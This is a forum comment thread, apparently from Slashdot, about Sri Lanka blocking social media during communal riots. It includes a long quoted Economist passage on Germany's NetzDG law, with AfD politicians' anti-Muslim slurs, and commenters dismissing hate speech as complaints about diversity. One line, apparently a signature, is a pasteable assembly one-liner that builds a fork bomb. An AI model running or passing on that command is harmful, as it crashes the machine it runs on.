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Sri Lanka Blocks Facebook, Instagram To Prevent Spread of Hate Speech (lankabusinessonline.com)
Sri Lanka has blocked social media websites Facebook, Instagram and WhatsApp to avoid the spread of hate speech in the country, local media reported on Wednesday. From the report: Even though there is no official confirmation from the authorities, the Cabinet Spokesman Minister Rajitha Senaratne on Wednesday said the government has decided to block access to certain social media. Telecom Regulatory Commission (TRC) has started to monitor all social media platforms to curb hate speech related to communal riots escalated in Kandy district. Telecommunication service providers (ISPs) have also restricted internet access in Kandy district on the instructions of the TRC.
You've got an excuse to shut down social media because people post 'hate speech' on it, aka complaining about the bad effects of diversity.
See also Singapore, China etc. And it's coming to Europe too. After Merkel decided to let in anyone who arrived, Germany started to have a problem with racism - aka the natives bitching about the bad behaviour of the new arrivals.
The solution was to threaten social media companies with massive fines unless they remove 'hate speech' within 24 hours
https://www.economist.com/news...
"WHAT the hell is wrong with this country?" fumed Beatrix von Storch to her 30,000 Twitter followers on December 31st: "Why is the official police page in NRW [North Rhine-Westphalia] tweeting in Arabic?" The MP for the hard-right Alternative for Germany (AfD) party detected in the force's multilingual new-year greeting a bid "to appease the barbaric, Muslim, rapist hordes of men". The next day her tweet--and, for 12 hours, her entire account--vanished from Twitter. In the subsequent political storm Alice Weidel, co-leader of the AfD, came to Ms von Storch's defence: "Our authorities are subordinating themselves to imported, rampaging, groping, punching, stabbing migrant mobs," she tweeted. That, too, was promptly deleted.
Germany's memories of the Gestapo and the Stasi undergird its commitment to free speech. "There shall be no censorship," decrees the constitution. Even marches by Pegida, an Islamophobic and anti-immigrant movement founded in 2014, receive police protection. But the country of Kristallnacht and the Holocaust also takes a punitive attitude to what it deems "hate speech". Inciting hatred can carry a prison sentence of up to five years, Hitler's "Mein Kampf" is available only in annotated form, and it is illegal to single out any part of the population for insult or other abuse that could "breach the peace". Irmela Mensah-Schramm, a Berlin pensioner who spray-paints over swastikas and other racist graffiti, is a national hero.
Reconciling these two convictions--for free speech and against hate speech--is becoming harder, particularly since Angela Merkel's refugee gambit in 2015. Opening Germany's borders to some 1.2m mostly Muslim migrants has fuelled the rise of nativist outfits like the AfD and Pegida. Racist propaganda and sensationalist reports (some, though not all, fake) of criminal and rapist immigrants have rippled across social media. In 2016, for example, the number of criminal investigations into online hate speech in Berlin rose by 50%. A number of the newcomers from the Middle East and Africa are anti-Semitic. Confronting such ills without encroaching too much on freedom of expression is tricky.
The most prominent example of the balancing act is the new Net Enforcement Law (NetzDG), of which Ms von Storch's and Ms Weidel's tweets were early victims. Inspired by the rise of fake news and a report suggesting that only a minority of illegal posts on social media were being removed within a day (and just 1% or so on Twitter), the law cleared the Bundestag last June and came into force on January 1st. It sets out 20 things defining a comment as "clearly illegal", such as incitement to hatred or showing the swastika. Once posts are flagged by users, a social-media firm has 24 hours--extended to a week in complex cases--to check and remove those that contravene the rules, or face a €50m ($60m) fine. In the first week, Facebook's over 1,000 German moderators have had to process hundreds of thousands of cases.
Overwhelmed by the volume and wary of incurring such huge fines, social-media firms are erring on the side of censorship. On January 2nd Titanic, a satirical magazine, joked that Ms von Storch would be its new guest tweeter. Two of the subsequent tweets mocking the AfD politician were censored. When Titanic republished them, its account was suspended for two d
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
The EU takes a smarter approach: no block, but strict laws governing a posteriori censorship (because that's what the proposed anti hate speech laws amount to). Think social media are afraid of those laws? Think again. I think that there might be some unholy alliance brewing between governments and social media. The EU makes anti hate speech laws that are onerous, with harsh fines, but at the same time just a little bit vague. That gives social media the excuse they need to start censoring stuff that they themselves deem undesirable, "just to be on the safe side and not fall afoul of the law", thus avoiding the accusation of taking one side and silencing the other. The EU meanwhile will be pleased as punch as well to have that stuff disappearing from the public view, all without actually having to censor it. Those companies and governments know full well that their dislike of certain speech runs largely along the same lines.
If construction was anything like programming, an incorrectly fitted lock would bring down the entire building...
This is part of a state of emergency imposed after violence broke out between Buddhists and Muslims.
I've been to Sri Lanka quite a lot in the 1990's (I had friends there), when the war was still raging in the north and east, and then the government responded to bombings and other emergencies by declaring a state of emergency and imposing curfews. They basically shut down large parts of society to let things cool down, including transport. It once happened just when I was about to leave the country. Public transport suddenly didn't exist anymore, taxi drivers didn't want to take long distance rides because they were afraid to get stranded somewhere, and only with the aid of a police officer from my friends' neighbourhood were we able to arrange transport for me to the airport. It was spooky, there was no other traffic at all and an astounding number of roadblocks had materialized out of nowhere.
While the Sri Lankans I met generally were incredibly nice people the country does have a history of overheated reactions that result in burned properties and deaths, and that appears to be happening again now. The government responded in the way they tend to respond, and nowadays that apparently includes shutting down social media. The state of emergency is declared for 10 days, so that should be the duration of the social media shutdown too.